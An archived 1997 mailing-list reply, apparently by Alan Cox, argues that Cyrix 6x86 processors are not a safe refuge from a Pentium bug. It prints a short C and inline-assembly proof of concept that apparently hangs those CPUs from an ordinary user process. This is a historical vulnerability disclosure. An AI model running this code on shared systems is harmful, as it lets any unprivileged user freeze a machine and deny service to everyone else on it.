Re: WARNING: Linux Intel Pentium Bug

Alan Cox (alan@LXORGUK.UKUU.ORG.UK)
Sat, 08 Nov 1997 23:50:37 +0000

> This code does NOT affect Cyrix 6x86 (166+ specifically, but probably all of
> them) processors. If you run a multiuser, untrusted system, I suggest
> reserving some at your local computer supplier... unless there is an easy
> fix for this, there is going to be a run on them.

I doubt it; See

http://www.heise.de/ct/art_ab97/9713030/

static unsigned char c[4] = {0x36, 0x78, 0x38, 0x36};

main()
{
asm ("movl $c, %ebx\n\t"
"again: xchgl (%ebx), %eax\n\t"
"movl %eax, %edx\n\t"
"jmp again\n\t");
}